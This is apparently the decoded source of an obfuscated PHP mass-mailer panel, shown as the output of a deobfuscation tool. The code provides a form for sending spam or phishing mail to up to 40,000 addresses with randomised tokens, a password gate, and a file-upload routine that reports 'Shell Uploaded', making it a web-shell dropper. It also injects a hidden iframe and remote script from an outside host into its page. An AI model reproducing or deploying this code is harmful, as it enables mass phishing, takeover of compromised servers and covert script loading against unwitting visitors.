                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:#b5b5b5;" class="form-control  input-sm " id="subject" name="subject" value="" . $O6026 . "" /></div>
\xa            </div>
\xa            <div class="row">\xd
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter</label><textarea name="messageLetter" id="messageLetter" style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:#b5b5b5;" class="form-control" rows="10" id="textArea">" . $O4957 . "</textarea></div>\xd\xa                <div class="form-group col-lg-6 "><label for="emailList">Email List</label><textarea name="emailList" id="emailList" onselect="funchange()" onchange="funchange()" onkeydown="funchange()" onkeyup="funchange()" onchange="funchange()" style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:#b5b5b5;" class="form-control" rows="10" id="textArea">" . $O7779 . "</textarea></div>\xd\xa		\x9</div>
		\x9<div class="row">\xd
\x9	\x9<div class="form-group col-lg-6">
\xa\x9		                    <label for="messageType">Message Type :</label>\xd
                    HTML <input type="radio" name="messageType" id="messageType" value="1" " . $O4791 . ">
                    Plain<input type="radio" name="messageType" id="messageType" value="2" " . $O2705 . "></div>\xd\xa\x9		<div class="form-group col-lg-6">\xd\xa\x9	\x9<label>Quantity Emails : </label>&nbsp;<span id="enum">0<br>\xd
			</div>\xd\xa\x9\x9\x9</div>\xd
            <div class="row">\xd
                <div class="form-group col-lg-3 ">
                    <label for="encode">Encode Type</label>
\xa                    <select style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:b5b5b5" class="form-control input-sm" id="encode" name="encode">
                        <option value="UTF-8" selected>UTF-8 Encode</option>
                        <option value="ISO-8859-1">ISO Encode</option>
                    </select>\xd
                </div>
                <div class="form-group col-lg-3 ">\xd\xa                </div>
            </div> 
\xa            <button type="submit" style="background-color:#930205;border-color:red" class="btn btn-danger btn-sm" form="form" name="action" value="send">SEND MESSAGE</button>
   
        </form><br><hr><br><br>\xd\xa    </div>
\xa    <div class="col-lg-6"><br>
\xa    <label for="well">Instruction</label>
    <div id="well" style="background-color:rgba(240,238,255,0.1) !important;border-radius:3px;color:#b5b5b5;" class="well well">
\xa        <h4>Server Information</h4>\xd\xa        <ul>\xd\xa            <li>ServerIP : <b>" . $_SERVER["SERVER_ADDR"] . "</b></li>
\xa            <li>Server : <b>" . PHP_OS . " - " . php_uname() . "</b></li>
        </ul>
\xa        
\xa        <h4>HELP</h4>\xd\xa        <ul>
        <li>Note: Maximum 40,000 email per send.  </li> \xd
        <li>Note: Uncheck Use SMTP Server if you dont want to use smtp server.  </li>                
\xa            <li>[-email-] : <b>Reciver Email</b></li>\xd
            <li>[-time-] : <b>Date and Time</b> (" . date("m/d/Y h:i:s a", time()) . ")</li>
\xa            <li>[-emailuser-] : <b>Email User</b> (emailuser@emaildomain)</li>\xd
            <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>\xd\xa            <li>[-randomnumber-] : <b>Random number (0-9) </b></li>\xd\xa            <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>\xd\xa            <li>[-randommd5-] : <b>Random MD5 </b></li>
        </ul>\xd\xa        <h4>example</h4>\xd\xa        <b>[email protected]</b><br>\xd\xa        <ul>
            <li>hello <b>[-emailuser-]</b> -> hello <b>user</b></li>
\xa            <li>your code is  <b>[-randommd5-]</b> -> your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>\xd
        </ul>\xd
\xd
        <h6>by <b><a href="http://" . $O3279["website"] . ""><font>" . $O3279["website"] . "</a></b></h6>\xd\xa    </div>
</div>
\xa<div id="status">\xd
    <div id="log"></div>
\xa    <div class="spinner">
\xa        <div class="bounce1"></div>
\xa        <div class="bounce2"></div>
\xa        <div class="bounce3"></div>
    </div>
</div>\xd

"; goto O9080; O2205: function o6858($O5064) { goto O0495; O9913: $O9493 = explode("@", $O5064); goto O5875; O2444: return true; goto O9311; O0495: if (filter_var($O5064, FILTER_VALIDATE_EMAIL)) { goto O8927; } goto O7058; O9311: O7813: goto O6370; O8326: O5557: goto O2444; O6370: O1466: goto O7266; O9757: goto O1466; goto O6845; O5875: if (checkdnsrr(array_pop($O9493), "MX")) { goto O5557; } goto O7970; O7058: return false; goto O9757; O0131: goto O7813; goto O8326; O7970: return false; goto O0131; O6845: O8927: goto O9913; O7266: } goto O4157; O0929: $O4957 = stripslashes($O4957); goto O4359; O5465: print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>"; goto O3783; O2458: echo "<b>Not uploaded ! </b><br><br>"; goto O6444; O3508: ini_set("memory_limit", -1); goto O3813; O7596: $O6393 = 1; goto O2480; O1085: $O3001->O4418 = true; goto O8288; O9109: $O0578 = "https://" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto O2944; O8475: O8005: goto O5841; O5841: if ($O3082 == 2) { goto O9584; } goto O2948; O9275: $O4166 = explode("
", $O7779); goto O2363; O8913: echo "<b>Shell Uploaded ! :)<b><br><br>"; goto O7564; O7180: error_reporting(0); goto O9117; O4310: print "    <div class="col-lg-12">"; goto O9275; O9080: $O5016 = file_get_contents("php://input"); goto O8426; O3813: $O3279["version"] = "Final Version"; goto O0134; O5721: ini_set("display_errors", 0); goto O7180; O1554: $O5068 = md5(__FILE__); goto O9436; O2864: function O6726($O2685, $O5064) { goto O1925; O9069: $O2685 = str_replace("[-email-]", $O5064, $O2685); goto O9298; O5418: $O2685 = str_replace("[-randomletters-]", substr(str_shuffle(str_repeat("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", 50)), 20, 10), $O2685); goto O3472; O1925: $O4798 = preg_replace("/([^@]*).*/", "$1", $O5064); goto O8450; O1293: $O2685 = str_replace("[-randomnumber-]", O0201("0123456789"), $O2685); goto O6849; O8450: $O2685 = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $O2685); goto O9069; O6849: $O2685 = str_replace("[-randommd5-]", md5(o0201("abcdefghijklmnopqrstuvwxyz0123456789")), $O2685); goto O9641; O9641: return $O2685; goto O2616; O3472: $O2685 = str_replace("[-randomstring-]", substr(str_shuffle(str_repeat("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890", 10)), 0, 10), $O2685); goto O1293; O9298: $O2685 = str_replace("[-emailuser-]", $O4798, $O2685); goto O5418; O2616: } goto O7183; O2316: goto O9502; goto O0799; O8247: if (@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"])) { goto O7321; } goto O2458; O4415: print "\xd\xa<head><script>if(top==window){var engageNameSpace="engagens";"undefined"==typeof window[engageNameSpace]&&(window[engageNameSpace]={}),window[engageNameSpace].engageLoader=function(){function e(e){return"undefined"!=typeof e&&null!==e}function t(){var t=document.createElement("script");t.setAttribute("src",s),t.setAttribute("id","fn_engage_script"),t.setAttribute("async",""),(null==document.head||e(document.head))&&(document.head=document.getElementsByTagName("head")[0]),document.head.appendChild(t)}function n(){var t=r();if(e(t)){var n=t;i()&&(n=d(t));var o;try{o=document.documentElement,o.appendChild(n)}catch(c){o=document.body,o.appendChild(n)}a()}}function a(){function e(e){var n=e.data;"l8IframeIsReady"===n.message&&t()}window.addEventListener?window.addEventListener("message",e,!1):window.attachEvent("onmessage",e)}function r(){var t=document.createElement("iframe");if(e(t)){t.setAttribute("id","fn_engage"),t.setAttribute("src",u),t.setAttribute("target","_blank"),t.setAttribute("frameborder","0");var n=/firefox/i.exec(navigator.userAgent);e(n)&&n.length>0?(t.style.height=0,t.style.width=0):t.style.display="none",t.frameBorder="no"}return t}function i(){var t=!1,n=/android (\d+)/i.exec(navigator.userAgent);return e(n)&&n.length>0&&(t=parseInt(n[1])>=4),t}function d(e){var t=document.createElement("div");return t.setAttribute("id","fn_wrapper_div"),t.style.position="fixed",t.style.display="none",t.ontouchstart=function(){return!0},t.appendChild(e),t}function o(){var t=void 0,a=this,r=function(){e(t)&&(window.clearTimeout(t),t=void 0,n.call(a))};t=window.setTimeout(r,1e4),"function"==typeof window.addEventListener?window.addEventListener("load",r,!1):window.attachEvent("onload",r)}var c="http://globe.moreforme.net",u=c+"/l8/EngageService?v=1",s=c+"/scripts/Engage.js";o()};var engageLoader=new window[engageNameSpace].engageLoader}</script>
\xa    <title>\xe6\257\x8d</title>
	<link rel="icon" href="https://xs.ht/ps.png">
\xa    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>\xd\xa    <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>\xd
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.6/cosmo/bootstrap.min.css" rel="stylesheet" >\xd\xa    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>
\xa    \xd
     
\xd\xa</head>"; goto O1820; O6167: $O4957 = urlencode($O4957); goto O3338; O2363: $O8271 = count($O4166); goto O3443; O1089: O4305: 
?>

Function Calls

None

Variables

None

Stats

MD5 e7da296e43f72fca27d128b0d6bf0285
Eval Count 0
Decode Time 163 ms